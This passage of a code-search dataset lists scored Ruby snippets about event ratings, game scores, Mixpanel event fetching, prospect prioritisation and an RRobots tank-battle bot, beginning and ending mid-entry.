customThreesRight[9].nil? \n cuthr10 = customThreesRight[9].fullname \n end\n unless customThreesRight[10].nil? \n cuthr11 = customThreesRight[10].fullname \n end\n unless customThreesRight[11].nil? \n cuthr12 = customThreesRight[11].fullname\n end\n unless customThreesRight[12].nil? \n cuthr13 = customThreesRight[12].fullname \n end\n unless customThreesRight[13].nil? \n cuthr14 = customThreesRight[13].fullname\n end \n unless customThreesRight[14].nil? \n cuthr15 = customThreesRight[14].fullname\n end \n #----------End Custom 3---------- \n\n self.update :gdata => \"[\n ['#{title}', '', '', ''],\n ['#{self.user.s_name1}', '', '#{ftl_s0}', ''],\n ['#{openl1}', '#{openr1}', '#{ftl_s1}', '#{ftr_s1}'],\n ['#{openl2}', '#{openr2}', '#{ftl_s2}', '#{ftr_s2}'],\n ['#{openl3}', '#{openr3}', '#{ftl_s3}', '#{ftr_s3}'],\n ['#{openl4}', '#{openr4}', '#{ftl_s4}', '#{ftr_s4}'],\n ['#{openl5}', '#{openr5}', '#{ftl_s5}', '#{ftr_s5}'],\n ['#{openl6}', '#{openr6}', '#{ftl_s6}', '#{ftr_s6}'],\n ['#{openl7}', '#{openr7}', '#{ftl_s7}', '#{ftr_s7}'], \n ['#{openl8}', '#{openr8}', '#{ftl_s8}', '#{ftr_s8}'],\n ['#{openl9}', '#{openr9}', '#{ftl_s9}', '#{ftr_s9}'],\n ['#{openl10}', '#{openr10}', '#{ftl_s10}', '#{ftr_s10}'],\n ['#{openl11}', '#{openr11}', '#{ftl_s11}', '#{ftr_s11}'],\n ['#{openl12}', '#{openr12}', '#{ftl_s12}', '#{ftr_s12}'],\n ['#{openl13}', '#{openr13}', '#{ftl_s13}', '#{ftr_s13}'],\n ['#{openl14}', '#{openr14}', '#{ftl_s14}', '#{ftr_s14}'],\n ['#{openl15}', '#{openr15}', '#{ftl_s15}', '#{ftr_s15}'],\n ['#{sll_s0}', '', '#{tll_s0}', ''],\n ['#{sll_s1}', '#{slr_s1}', '#{tll_s1}', '#{tlr_s1}'],\n ['#{sll_s2}', '#{slr_s2}', '#{tll_s2}', '#{tlr_s2}'],\n ['#{sll_s3}', '#{slr_s3}', '#{tll_s3}', '#{tlr_s3}'],\n ['#{sll_s4}', '#{slr_s4}', '#{tll_s4}', '#{tlr_s4}'],\n ['#{sll_s5}', '#{slr_s5}', '#{tll_s5}', '#{tlr_s5}'],\n ['#{sll_s6}', '#{slr_s6}', '#{tll_s6}', '#{tlr_s6}'],\n ['#{sll_s7}', '#{slr_s7}', '#{tll_s7}', '#{tlr_s7}'],\n ['#{sll_s8}', '#{slr_s8}', '#{tll_s8}', '#{tlr_s8}'],\n ['#{sll_s9}', '#{slr_s9}', '#{tll_s9}', '#{tlr_s9}'],\n ['#{sll_s10}', '#{slr_s10}', '#{tll_s10}', '#{tlr_s10}'],\n ['#{sll_s11}', '#{slr_s11}', '#{tll_s11}', '#{tlr_s11}'],\n ['#{sll_s12}', '#{slr_s12}', '#{tll_s12}', '#{tlr_s12}'],\n ['#{secondmdl_s0}', '', '#{thirdmdl_s0 }', ''],\n ['#{secondmdl_s1}', '#{secondmdr_s1}', '#{thirdmdl_s1 }', '#{thirdmdr_s1}'],\n ['#{secondmdl_s2}', '#{secondmdr_s2}', '#{thirdmdl_s2}', '#{thirdmdr_s2}'],\n ['#{secondmdl_s3}', '#{secondmdr_s3}', '#{thirdmdl_s3}', '#{thirdmdr_s3}'],\n ['#{secondmdl_s4}', '#{secondmdr_s4}', '#{thirdmdl_s4}', '#{thirdmdr_s4}'],\n ['#{secondmdl_s5}', '#{secondmdr_s5}', '#{thirdmdl_s5}', '#{thirdmdr_s5}'],\n ['#{secondmdl_s6}', '#{secondmdr_s6}', '#{thirdmdl_s6}', '#{thirdmdr_s6}'],\n ['#{secondmdl_s7}', '#{secondmdr_s7}', '#{thirdmdl_s7}', '#{thirdmdr_s7}'],\n ['#{secondmdl_s8}', '#{secondmdr_s8}', '#{thirdmdl_s8}', '#{thirdmdr_s8}'],\n ['#{secondmdl_s9}', '#{secondmdr_s9}', '#{thirdmdl_s9}', '#{thirdmdr_s9}'],\n ['#{secondmdl_s10}', '#{secondmdr_s10}', '#{thirdmdl_s10}', '#{thirdmdr_s10}'],\n ['#{secondmdl_s11}', '#{secondmdr_s11}', '#{thirdmdl_s11}', '#{thirdmdr_s11}'],\n ['#{secondstl_s0}', '', '#{thirdstl_s0}', ''],\n ['#{secondstl_s1}', '#{secondstr_s1}', '#{thirdstl_s1}', '#{thirdstr_s1}'],\n ['#{secondstl_s2}', '#{secondstr_s2}', '#{thirdstl_s2}', '#{thirdstr_s2}'],\n ['#{secondstl_s3}', '#{secondstr_s3}', '#{thirdstl_s3}', '#{thirdstr_s3}'],\n ['#{secondstl_s4}', '#{secondstr_s4}', '#{thirdstl_s4}', '#{thirdstr_s4}'],\n ['#{secondstl_s5}', '#{secondstr_s5}', '#{thirdstl_s5}', '#{thirdstr_s5}'],\n ['#{secondstl_s6}', '#{secondstr_s6}', '#{thirdstl_s6}', '#{thirdstr_s6}'],\n ['#{secondstl_s7}', '#{secondstr_s7}', '#{thirdstl_s7}', '#{thirdstr_s7}'],\n ['#{secondstl_s8}', '#{secondstr_s8}', '#{thirdstl_s8}', '#{thirdstr_s8}'],\n ['#{secondstl_s9}', '#{secondstr_s9}', '#{thirdstl_s9}', '#{thirdstr_s9}'],\n ['#{secondstl_s10}', '#{secondstr_s10}', '#{thirdstl_s10}', '#{thirdstr_s10}'],\n ['#{secondstl_s11}', '#{secondstr_s11}', '#{thirdstl_s11}', '#{thirdstr_s11}']\n ]\"\n\n self.update :gdata2 => \"[ \n ['Page Two', '', '', ''],\n ['#{rzonel_s0}', '', '#{glinel_s0}', ''],\n ['#{rzonel_s1}', '#{rzoner_s1}', '#{glinel_s1}', '#{gliner_s1}'],\n ['#{rzonel_s2}', '#{rzoner_s2}', '#{glinel_s2}', '#{gliner_s2}'],\n ['#{rzonel_s3}', '#{rzoner_s3}', '#{glinel_s3}', '#{gliner_s3}'],\n ['#{rzonel_s4}', '#{rzoner_s4}', '#{glinel_s4}', '#{gliner_s4}'],\n ['#{rzonel_s5}', '#{rzoner_s5}', '#{glinel_s5}', '#{gliner_s5}'],\n ['#{rzonel_s6}', '#{rzoner_s6}', '#{glinel_s6}', '#{gliner_s6}'],\n ['#{rzonel_s7}', '#{rzoner_s7}', '#{glinel_s7}', '#{gliner_s7}'],\n ['#{rzonel_s8}', '#{rzoner_s8}', '#{glinel_s8}', '#{gliner_s8}'],\n ['#{rzonel_s9}', '#{rzoner_s9}', '#{glinel_s9}', '#{gliner_s9}'],\n ['#{rzonel_s10}', '#{rzoner_s10}', '#{glinel_s10}', '#{gliner_s10}'],\n ['#{rzonel_s11}', '#{rzoner_s11}', '#{glinel_s11}', '#{gliner_s11}'],\n ['#{rzonel_s12}', '#{rzoner_s12}', '#{glinel_s12}', '#{gliner_s12}'],\n ['#{rzonel_s13}', '#{rzoner_s13}', '#{glinel_s13}', '#{gliner_s13}'],\n ['#{rzonel_s14}', '#{rzoner_s14}', '#{glinel_s14}', '#{gliner_s14}'],\n ['#{rzonel_s15}', '#{rzoner_s15}', '#{glinel_s15}', '#{gliner_s15}'],\n ['#{coutl_s0}', '', '#{cus1l_s0}', ''],\n ['#{coutl_s1}', '#{coutr_s1}', '#{cus1l_s1}', '#{cus1r_s1}'],\n ['#{coutl_s2}', '#{coutr_s2}', '#{cus1l_s2}', '#{cus1r_s2}'],\n ['#{coutl_s3}', '#{coutr_s3}', '#{cus1l_s3}', '#{cus1r_s3}'],\n ['#{coutl_s4}', '#{coutr_s4}', '#{cus1l_s4}', '#{cus1r_s4}'],\n ['#{coutl_s5}', '#{coutr_s5}', '#{cus1l_s5}', '#{cus1r_s5}'],\n ['#{coutl_s6}', '#{coutr_s6}', '#{cus1l_s6}', '#{cus1r_s6}'],\n ['#{coutl_s7}', '#{coutr_s7}', '#{cus1l_s7}', '#{cus1r_s7}'],\n ['#{coutl_s8}', '#{coutr_s8}', '#{cus1l_s8}', '#{cus1r_s8}'],\n ['#{coutl_s9}', '#{coutr_s9}', '#{cus1l_s9}', '#{cus1r_s9}'],\n ['#{coutl_s10}', '#{coutr_s10}', '#{cus1l_s10}', '#{cus1r_s10}'],\n ['#{coutl_s11}', '#{coutr_s11}', '#{cus1l_s11}', '#{cus1r_s11}'],\n ['#{coutl_s12}', '#{coutr_s12}', '#{cus1l_s12}', '#{cus1r_s12}'],\n ['#{coutl_s13}', '#{coutr_s13}', '#{cus1l_s13}', '#{cus1r_s13}'],\n ['#{coutl_s14}', '#{coutr_s14}', '#{cus1l_s14}', '#{cus1r_s14}'],\n ['#{coutl_s15}', '#{coutr_s15}', '#{cus1l_s15}', '#{cus1r_s15}'],\n ['#{cus2l_s0}', '', '#{self.user.s_name14}', ''],\n ['#{cus2l_s1}', '#{cus2r_s1}', '#{cuthl1}', '#{cuthr1}'],\n ['#{cus2l_s2}', '#{cus2r_s2}', '#{cuthl2}', '#{cuthr2}'],\n ['#{cus2l_s3}', '#{cus2r_s3}', '#{cuthl3}', '#{cuthr3}'],\n ['#{cus2l_s4}', '#{cus2r_s4}', '#{cuthl4}', '#{cuthr4}'],\n ['#{cus2l_s5}', '#{cus2r_s5}', '#{cuthl5}', '#{cuthr5}'],\n ['#{cus2l_s6}', '#{cus2r_s6}', '#{cuthl6}', '#{cuthr6}'],\n ['#{cus2l_s7}', '#{cus2r_s7}', '#{cuthl7}', '#{cuthr7}'],\n ['#{cus2l_s8}', '#{cus2r_s8}', '#{cuthl8}', '#{cuthr8}'],\n ['#{cus2l_s9}', '#{cus2r_s9}', '#{cuthl9}', '#{cuthr9}'],\n ['#{cus2l_s10}', '#{cus2r_s10}', '#{cuthl10}', '#{cuthr10}'],\n ['#{cus2l_s11}', '#{cus2r_s11}', '#{cuthl11}', '#{cuthr11}'],\n ['#{cus2l_s12}', '#{cus2r_s12}', '#{cuthl12}', '#{cuthr12}'],\n ['#{cus2l_s13}', '#{cus2r_s13}', '#{cuthl13}', '#{cuthr13}'],\n ['#{cus2l_s14}', '#{cus2r_s14}', '#{cuthl14}', '#{cuthr14}'],\n ['#{cus2l_s15}', '#{cus2r_s15}', '#{cuthl15}', '#{cuthr15}']\n ]\" \n end",
"title": ""
},
{
"docid": "ffc2dd4e064f9169ac963d967905a88b",
"score": "0.5582749",
"text": "def lowest_events_by_rating\n self.afterthoughts_by_rating.map do |afterthought|\n afterthought.event\n end.reverse\n end",
"title": ""
},
{
"docid": "e20a5a3651a9798d2b12fe9fe5cad497",
"score": "0.55789477",
"text": "def calculateScore\n\t\tif @game\n @score += [@gridPick.associatedTimer-@game.time,0].max\n\t\telse\n\t\t\t@score = 0\n\t\tend\n\tend",
"title": ""
},
{
"docid": "e5e1712306f3ccf64542cfee405b97a4",
"score": "0.5547136",
"text": "def assign_score; end",
"title": ""
},
{
"docid": "8ecaf647f536b0bd12fb07d6e189ff9d",
"score": "0.5521211",
"text": "def score; end",
"title": ""
},
{
"docid": "5d970e6d3bc37914fc1e8d19f00f25a0",
"score": "0.5496046",
"text": "def initialize(season, max_results = 10, bests_to_be_ignored = 1)\n raise ArgumentError, 'Seasonal ponderated best calculation per event needs a season' unless season&.instance_of?(Season)\n\n @season = season\n @max_results = max_results\n @bests_to_be_ignored = bests_to_be_ignored\n @event_types = find_season_type_events\n @categories = find_season_type_category_codes\n @single_events = []\n @insert_events = []\n @update_events = []\n end",
"title": ""
},
{
"docid": "4ffeaba03f4d0177b20170318fda6126",
"score": "0.5466224",
"text": "def calculate_priority\n chronological_call_events = self.call_events.order(\"created_at DESC, id DESC\").all # preload all call events\n chronological_email_events = self.email_events.order(\"created_at DESC, id DESC\").all # preload all email events\n\n return 0 if chronological_call_events.any? { |e| e.type == Event::Call::NOT_INTERESTED }\n\n priority = 0\n\n # if there is a callback today or in the past without a call event afterwards...\n if callback_later_event = chronological_call_events.select { |e| e.type == Event::Call::CALLBACK_LATER }.detect { |e| e.follow_up && e.follow_up.to_date <= Time.now.utc.to_date } and callback_later_event == chronological_call_events.first\n priority += 100\n end\n\n # if you clicked on an email, prospect is high priority until they are contacted\n most_recent_call_event = chronological_call_events.first\n most_recent_click_event = self.email_events.detect { |e| e.type == Event::Email::CLICKED }\n if most_recent_click_event && (most_recent_call_event.nil? || most_recent_call_event.created_at < most_recent_click_event.created_at)\n priority += 90\n end\n\n # compare padded for padded\n if ROMEO_CIKS.include?(self.raw_cik.to_s)\n priority += 50\n end\n\n # if two weeks pass since they requested an email, without calling back\n priority += 10 if chronological_call_events.select { |e| e.type == Event::Call::REQUESTED_EMAIL }.detect { |e| 14.days.ago >= e.created_at }\n\n # if it has been 1 month or more since we left a voicemail\n priority += 1 if chronological_call_events.select { |e| e.type == Event::Call::VOICEMAIL }.detect { |e| 3.month.ago >= e.created_at }\n # priority += 1 if chronological_call_events.any?\n\n # if it has been less than 1 month since we left a voicemail, decrease priority so new prospects are higher\n priority -= 1 if chronological_call_events.select { |e| e.type == Event::Call::VOICEMAIL }.detect { |e| 3.month.ago < e.created_at }\n\n priority\n end",
"title": ""
},
{
"docid": "7490fc8cbdc7d6ec1b47cbbaf713b3a6",
"score": "0.54620767",
"text": "def top_three_rated_events\n self.highest_events_by_rating.first(3)\n end",
"title": ""
},
{
"docid": "aeeab90b81297816ea7b06d2169aa8fc",
"score": "0.54220337",
"text": "def highest_events_by_rating\n self.afterthoughts_by_rating.map do |afterthought|\n afterthought.event\n end\n end",
"title": ""
},
{
"docid": "8516898436db7ee556c484d24f33a481",
"score": "0.54067653",
"text": "def topRestrics\n\t\t@topRestrics = \"\"\n\t\t@weighted = self.eventRestrics_weighted\n\t\t\n\t\tunless @weighted.nil?\n\t\t\tunless @weighted.empty?\n\t\t\t\t\n\t\t\t\t@largestVal = @weighted.first[1]\n\t\t @restrics = \"\"\n\t\t \n\t\t @weighted.each do |key, val|\n\t\t if val == @largestVal\n\t\t @restrics += key + \",\"\n\t\t else\n\t\t break\n\t\t end\n\t\t end\n\t\t @topRestrics = @restrics[0, @restrics.length-1]\n\n\t \tend\n\t end\n\n\t @topRestrics\n\tend",
"title": ""
},
{
"docid": "c723f64aad21c74b35404e09b2c7870d",
"score": "0.5406061",
"text": "def score\n end",
"title": ""
},
{
"docid": "0661d22714b1d40885dac70fdb7617ee",
"score": "0.54058236",
"text": "def calculate_scores\n puts \"finding scores\"\n Article.all.each { |article|\n score = 0;\n entry = article.rss_entry\n if(entry.published)\n score += (Time.now - entry.published)/360 #increment score by # of hours\n else\n score += (Time.now - entry.created_at)/360 #increment score by # of hours\n end\n if(article.cluster)\n score += 5 #cluster penalty\n cluster = Cluster.find(article.cluster)\n score += cluster.size(cluster)*2 #penalty for larger clusters\n end\n article.score = score\n article.save!\n }\nend",
"title": ""
},
{
"docid": "abd639d221a7cf0129862d4a12073951",
"score": "0.5386638",
"text": "def score\n last_30_score\n end",
"title": ""
},
{
"docid": "147a6d2416478242dde130817d6f587d",
"score": "0.5368338",
"text": "def lowest_score\n sort\n all.last.score\n end",
"title": ""
},
{
"docid": "5865695589c5d68f6258fa51e55d8b2d",
"score": "0.53630805",
"text": "def running_score\n events.where('created_at > ?', 1.weeks.ago.to_s(:db)).sum(:value)\n end",
"title": ""
},
{
"docid": "92c1cc15955afeeb2fcb867c7d65dd68",
"score": "0.5362955",
"text": "def high_score\n if self.end_date < Date.today\n self.teams.max_by { |team| team.score }.score\n end\n end",
"title": ""
},
{
"docid": "512d0ae9e95b42c0f544753288db83ae",
"score": "0.53532284",
"text": "def initialize\n @max_score = 10.0\n super\n end",
"title": ""
},
{
"docid": "1cbf0f2aea2c42f415e94a11d79ce38c",
"score": "0.53440475",
"text": "def fetch_next_week_events_and_analyze\n events = fetch_next_week_events\n analyze_events(events)\n end",
"title": ""
},
{
"docid": "f93ed4f2f1b0247fe5c698843210225f",
"score": "0.53334916",
"text": "def sort\n\t@events = @events.sort_by { | e | e.time_from_start }\n\trecalc_delta_from_times()\n end",
"title": ""
},
{
"docid": "5aaefe588abcccf61ffa10f3cc75c8aa",
"score": "0.5331315",
"text": "def highest_score\n sort\n all.first.score\n end",
"title": ""
},
{
"docid": "19b05be5db5a0a0230fc7d5749f9fa11",
"score": "0.5329722",
"text": "def initialize(event)\n @event = event\n @ordered_splits = event.ordered_splits.to_a\n @ordered_split_ids = ordered_splits.map(&:id)\n @split_name_hash = Hash[@ordered_splits.map { |split| [split.id, split.base_name] }]\n @bitkey_hashes = @ordered_splits.map(&:sub_split_bitkey_hashes).flatten\n @event_segment_calcs = EventSegmentCalcs.new(event)\n @efforts = event.efforts.sorted_with_finish_status\n @split_times = SplitTime.joins(:effort)\n .select(:sub_split_bitkey, :split_id, :time_from_start)\n .where(efforts: {event_id: event.id})\n .ordered.to_a\n @split_times_by_effort = split_times.group_by(&:effort_id)\n @live_efforts = []\n set_effort_categories\n set_effort_time_attributes\n create_live_efforts\n end",
"title": ""
},
{
"docid": "55356747a10630e736a537759922c831",
"score": "0.5325793",
"text": "def calculate_results_switching\n @events.select { |e| e.type == \"playerQualityChange\" }.each do |event|\n @quality_events_time << event.timestamp\n @quality_events_level << event.data\n end\n end",
"title": ""
},
{
"docid": "95bee3f9299655674cd2938a4e8c345a",
"score": "0.5323211",
"text": "def create_scores\r\n\r\n end",
"title": ""
},
{
"docid": "3870b29d55fec85a9324098ca59849d1",
"score": "0.53188896",
"text": "def score\n goals = self.match_events.select { |e| e.event_type == MatchEvent::EventType::GOAL }\n goals.reduce({away: 0, home: 0}) do |score, e|\n if e.event_author == MatchEvent::EventAuthor::HOME\n score[:home] += 1\n elsif e.event_author == MatchEvent::EventAuthor::AWAY\n score[:away] += 1\n end\n score\n end\n end",
"title": ""
},
{
"docid": "1fd15e69678c6cc6f0f5141a2e7beefa",
"score": "0.5295952",
"text": "def tick events\n @outerlimit = (battlefield_width + battlefield_height) * 3\n #print \"mode=#{@mode},stage=#{@stage},dir=#{@dir},walldir=#{@walldir}\\n\"\n #print \"at (#{x},#{y}) at time #{time},res=#{@trk_res}\\n\"\n #mode nil is startup and initialize variables\n #STDOUT.flush\n # ###########\n # # Sensors\n # ###########\n @since_evade += 1\n @sincehit += 1\n @sincehit = 0 if not events['got_hit'].empty?\n events['got_hit'].each{|e| @hit_filter += e.first}\n @hit_filter *= 0.99\n if events['robot_scanned'].empty?\n @sinceblip += 1\n @closest = @outerlimit\n #print\"\\n\" \n else\n @closest = events['robot_scanned'].collect{|e| e.first}.sort.first\n @sinceblip = 0\n #print \",blip=#{@closest}\\n\"\n end\n # ###########\n # # High level logic - state machine\n # ###########\n #print \"sincehit=#{@sincehit},closest=#{@closest},range=#{@range}\\n\"\n #mode 0 is orient tank\n if @mode == 0\n @stage = 0\n @range = @outerlimit\n @mode = 1 if aimrad(@dir*90)\n #mode 1 find range of nearest target\n elsif @mode == 1\n #setup radar for a scan\n if @stage==0\n aimrad(@dir*90 + 180,60,1)\n @range = min(@range,@closest)\n @stage +=1\n #continue around for full circle\n elsif @stage == 1\n @range = min(@range,@closest)\n if aimrad(@dir*90,60,1)\n #did we see a bot?\n if @range == @outerlimit\n @stage = 0 \n else\n @mode = 2\n @stage = 0\n end\n end\n end\n #mode 2: find the nearestbot\n elsif @mode == 2\n #start next circle to re find the closest bot\n if @stage == 0\n #print \"range is #{@range}\\n\"\n aimrad(@dir*90 + 180,60,1)\n @stage +=1\n #continue scan for the closest bot\n elsif @stage == 1\n #print \"dir=#{@dir},angle=#{radar_heading}, closest=#{@closest}\\n\"\n if @closest < @range * 1.25\n @range = @closest\n @mode = 3\n @stage = 0\n @tangle = radar_heading\n #print \"found target at angle #{@tangle}\\n\"\n #if we finished the scan, and didn't find close target, recompute range\n elsif aimrad(@dir*90,60,1)\n @mode = 0\n @stage =0\n end\n end\n #mode 3 is tracking bot\n elsif @mode == 3\n #entry from previous mode, determine whether to scan ccw or cw\n if @stage == 0\n @trk_dir,@trk_res,@stage = -1,4,2\n #first scan in this direction\n elsif @stage == 1\n if @closest < @range * 1.25\n @range = @closest\n @trk_dir = -@trk_dir\n @trk_res = max(@trk_res - 1,0)\n @mytrack.add(x,y,@radar_heading, @range , time) if @trk_res < 3\n else\n @stage = 2\n end\n #second scan in this direction\n elsif @stage == 2\n if @closest < @range * 1.25\n @range = @closest\n @trk_dir = -@trk_dir\n @trk_res = max(@trk_res - 1,0)\n @mytrack.add(x,y,@radar_heading, @range , time) if @trk_res < 3\n @stage = 1\n else\n @trk_dir = -@trk_dir\n @trk_res = min(@trk_res + 2,4)\n @stage = 3\n end\n #the target bot has moved out of our window, expand the window\n elsif @stage == 3\n if @closest < @range * 1.25\n @range = @closest\n @trk_dir = - @trk_dir\n @trk_res = max(@trk_res - 2,0)\n @mytrack.add(x,y,@radar_heading, @range , time) if @trk_res < 3\n @stage = 1\n elsif @trk_res < 6\n @trk_dir = - @trk_dir\n @trk_res = @trk_res +1\n else\n #we lost our target, reaquire from scratch\n @mode = 0\n @stage = 0\n end\n end\n @tangle += @@ScanRes[@trk_res] * @trk_dir\n aimrad(@tangle)\n #print\"tangle=#{@tangle}, res=#{@@ScanRes[@trk_res]}, rot=#{@trk_dir}\\n\"\n elsif @mode == 4\n #determine which corner to go to from a corner\n if @stage == 0\n @stage += 1 if aimrad(@dir*90 + 95*@walldir)\n #first scan in direction of prev corner\n elsif @stage == 1\n aimrad(@dir*90 + 60*@walldir)\n @stage += 1\n #save count of robots in next corner, and swing radar to previous corner\n elsif @stage == 2\n @prevCorner = events['robot_scanned'].size\n aimrad(@dir*90 + 30*@walldir)\n @stage += 1\n elsif @stage == 3\n aimrad(@dir*90 -5*@walldir)\n @stage += 1\n elsif @stage == 4\n @nextCorner = events['robot_scanned'].size\n #print \"next corner=#{@nextCorner}, prev corner=#{@prevCorner}\\n\"\n if @nextCorner > @prevCorner\n @dir = (@dir + @walldir)%4\n @walldir *= -1\n end\n @stage = 0\n @mode = 0\n end\n elsif @mode == 5\n #determine which corner to go to from middle of wall\n if @stage == 0\n @stage += 1 if aimrad(@dir*90 - 5*@walldir)\n #first scan in direction of prev corner\n elsif @stage == 1\n aimrad(@dir*90 + 30*@walldir)\n @stage += 1\n #save count of robots in next corner, and swing radar to previous corner\n elsif @stage == 2\n @nextCorner = events['robot_scanned'].size\n aimrad(@dir*90 + 150*@walldir)\n @stage += 1\n elsif @stage == 3\n @stage += 1 \n aimrad(@dir*90 -150*@walldir)\n elsif @stage == 4\n aimrad(@dir*90 -185*@walldir)\n @stage += 1\n elsif @stage == 5 \n @prevCorner = events['robot_scanned'].size\n #print \"next corner=#{@nextCorner}, prev corner=#{@prevCorner}\\n\"\n if @nextCorner > @prevCorner\n @dir = (@dir + 2)%4\n @walldir *= -1\n end\n @stage = 0\n @mode = 0\n end\n end\n #compute the distances to the four walls\n walls = [battlefield_width - x,y,x,battlefield_height - y]\n #hug the wall, if we are slightly off the wall, than move back to the wall\n toleftwall,torightwall = walls[(@dir+1)%4],walls[(@dir-1)%4]\n #print \"wallroom left=#{toleftwall}, right=#{torightwall}\\n\"\n if toleftwall > 80 and toleftwall < 200\n aimtank(@dir * 90 + 20)\n elsif torightwall > 80 and torightwall < 200\n aimtank(@dir * 90 - 20)\n else\n aimtank(@dir * 90)\n end\n #If we reach a corner or wall, turn towards farthest corner on this wall\n if walls[@dir] < 100\n if toleftwall > torightwall\n @walldir = 1 #we are now going ccw\n @dir = (@dir+1)%4 # turn ccw\n #print \"turn left\\n\" \n else\n @walldir = -1 #we are now going cw\n @dir = (@dir-1)%4 #turn cw\n #print \"turn right\\n\" \n end\n #don't check corners at T junction\n if toleftwall > 100 and torightwall > 100\n @mode = 5 # determin weather it is safer ahead or behind\n @stage = 0\n else\n @mode = 4 # determin if previous corner was safer\n @stage = 0\n end\n #If we are getting hammered, turn now to evade damage\n # once we evade, avoid making another evasive manuver or we will turn in circles\n elsif @hit_filter > 400 and @since_evade > 100\n @dir = (@dir+@walldir)%4\n @hit_filter = 0\n @since_evade = 0\n end\n accelerate 1\n aim = @mytrack.predict(x,y,time) || (@dir * 90)%360\n aimgun(aim)\n fire 0.1\n doturns #we already computed our turns, now execute them\n STDOUT.flush\n end",
"title": ""
},
{
"docid": "41b4f6b5a55880a634b27d509f784b1f",
"score": "0.52908283",
"text": "def update_score()\n\t\t# Uses ELO rating to calculate new rank for both users. Ref: https://metinmediamath.wordpress.com/2013/11/27/how-to-calculate-the-elo-rating-including-example/\n\t\t# Updates score by adding game scores to players score\n\tend",
"title": ""
},
{
"docid": "2d6b3e9b4c756081cc84e2fa95c6927c",
"score": "0.5288629",
"text": "def index\n @players = Player.order(elo: :desc).to_a\n @group1 = @players.first(3)\n @group2 = @players.first(6) - @group1\n @group3 = @players - @group1 - @group2\n @all_elo = Event.all.inject([]){|s,e| s|=eval(e.elos).values}\n @min = @all_elo.min - 20\n @max = @all_elo.max + 20\n end",
"title": ""
},
{
"docid": "c804afc44cf5a57cab043efc5e3be7cb",
"score": "0.52878356",
"text": "def assign_score_limit; end",
"title": ""
},
{
"docid": "7660521c0eacba6ba6ad2bd5c268f7c0",
"score": "0.526346",
"text": "def fetch_top_events(params={}, save_to_db=true)\n params = setup_params(params)\n self.model_class = ::Mixpanel::Event\n \n method_url = get_method_url('events', 'top')\n request_params = self.select_params(params, [:type, :limit, :bucket])\n request_params[:resource] = method_url\n \n data = send_request(request_params)\n \n is_empty = (data.blank? || data['events'].blank?)\n if save_to_db && !is_empty\n target_ids = get_target_ids(params) \n \n self.model_class.transaction do\n data['events'].each do |event|\n target_id = event['event']\n # Format to JSON data.\n json_data = {:events => event}.to_json\n \n self.insert_or_update(params, target_ids, \n target_id, json_data)\n end\n end \n end\n return data\n end",
"title": ""
},
{
"docid": "bb89cc97d3da123f95adf415ae5b4781",
"score": "0.52618235",
"text": "def after_create_competition_results_for(race)\n race.results.each do |result|\n result.scores.sort! { |x, y| y.points <=> x.points }\n remove_duplicate_discipline_results result.scores\n\n if result.scores.size > 5\n lowest_scores = result.scores[5, result.scores.size - 5]\n lowest_scores.each do |lowest_score|\n result.scores.destroy lowest_score\n end\n # Rails destroys Score in database, but doesn't update the current association\n result.scores true\n end\n end\n end",
"title": ""
},
{
"docid": "a24c631d8fd9921f5620d15c5d5d1264",
"score": "0.5261612",
"text": "def get_summary_score\n\t\t(self.taste_score + self.value_score + self.on_time_score)/3\n\tend",
"title": ""
},
{
"docid": "63448c3afa89efb6cd778e68c4bc0b11",
"score": "0.52567834",
"text": "def run events\n events.each do |event| \n interprete event\n end\n# return\n puts \"Statistics:\"\n @counts.each do |k,v|\n puts \"#{k.inspect} =>\"\n i = 0\n step = 6\n while i < v.size\n puts \"\\t#{v[i,step]}\"\n i += step\n end\n end\n end",
"title": ""
},
{
"docid": "48df179687d235c72d57f31c57430bde",
"score": "0.5247074",
"text": "def all_statistics\n super\n end",
"title": ""
},
{
"docid": "48df179687d235c72d57f31c57430bde",
"score": "0.5247074",
"text": "def all_statistics\n super\n end",
"title": ""
},
{
"docid": "48df179687d235c72d57f31c57430bde",
"score": "0.5247074",
"text": "def all_statistics\n super\n end",
"title": ""
},
{
"docid": "48df179687d235c72d57f31c57430bde",
"score": "0.5247074",
"text": "def all_statistics\n super\n end",
"title": ""
},
{
"docid": "48df179687d235c72d57f31c57430bde",
"score": "0.5247074",
"text": "def all_statistics\n super\n end",
"title": ""
},
{
"docid": "48df179687d235c72d57f31c57430bde",
"score": "0.5247074",
"text": "def all_statistics\n super\n end",
"title": ""
},
{
"docid": "48df179687d235c72d57f31c57430bde",
"score": "0.5247074",
"text": "def all_statistics\n super\n end",
"title": ""
},
{
"docid": "48df179687d235c72d57f31c57430bde",
"score": "0.5247074",
"text": "def all_statistics\n super\n end",
"title": ""
},
{
"docid": "48df179687d235c72d57f31c57430bde",
"score": "0.5247074",
"text": "def all_statistics\n super\n end",
"title": ""
},
{
"docid": "48df179687d235c72d57f31c57430bde",
"score": "0.5247074",
"text": "def all_statistics\n super\n end",
"title": ""
},
{
"docid": "48df179687d235c72d57f31c57430bde",
"score": "0.5247074",
"text": "def all_statistics\n super\n end",
"title": ""
},
{
"docid": "48df179687d235c72d57f31c57430bde",
"score": "0.5247074",
"text": "def all_statistics\n super\n end",
"title": ""
},
{
"docid": "23f932fb45fe6a04ceddaeefc3dd7eb8",
"score": "0.52378374",
"text": "def initialize\n @score = 0;\n @speaks = 0;\n @name = \"\";\n end",
"title": ""
},
{
"docid": "798337c1d97033057d9b95a74432119c",
"score": "0.5235917",
"text": "def calc_rank\n return (self.score * 20001) + self.speaks;\n end",
"title": ""
},
{
"docid": "4a6789cc6ce8d202f3578a5c4686d670",
"score": "0.5219027",
"text": "def global_statistics\n super\n end",
"title": ""
},
{
"docid": "5d9e2d30394237d0835fc9d44c7395d5",
"score": "0.5218336",
"text": "def update_score\n #each second = .00002\n #each hour = .08\n #each day = 2\n time_score =(self.created_at.to_f - SHELBY_EPOCH.to_f) / TIME_DIVISOR\n like_score = self.calculate_like_score\n self.score = time_score + like_score\n end",
"title": ""
},
{
"docid": "347bd8923cdb6d630982b8942706041f",
"score": "0.5215227",
"text": "def on_high()\n \n end",
"title": ""
},
{
"docid": "12c1bc432d414426a9ae03272d093a8c",
"score": "0.52125216",
"text": "def result\n if event.status == 'played'\n score1 = calculate_score(team1) \n score2 = calculate_score(team2) \n\n [ score1, score2 ]\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "591eb0d19a40cf86fa5410a0b65da157",
"score": "0.52066237",
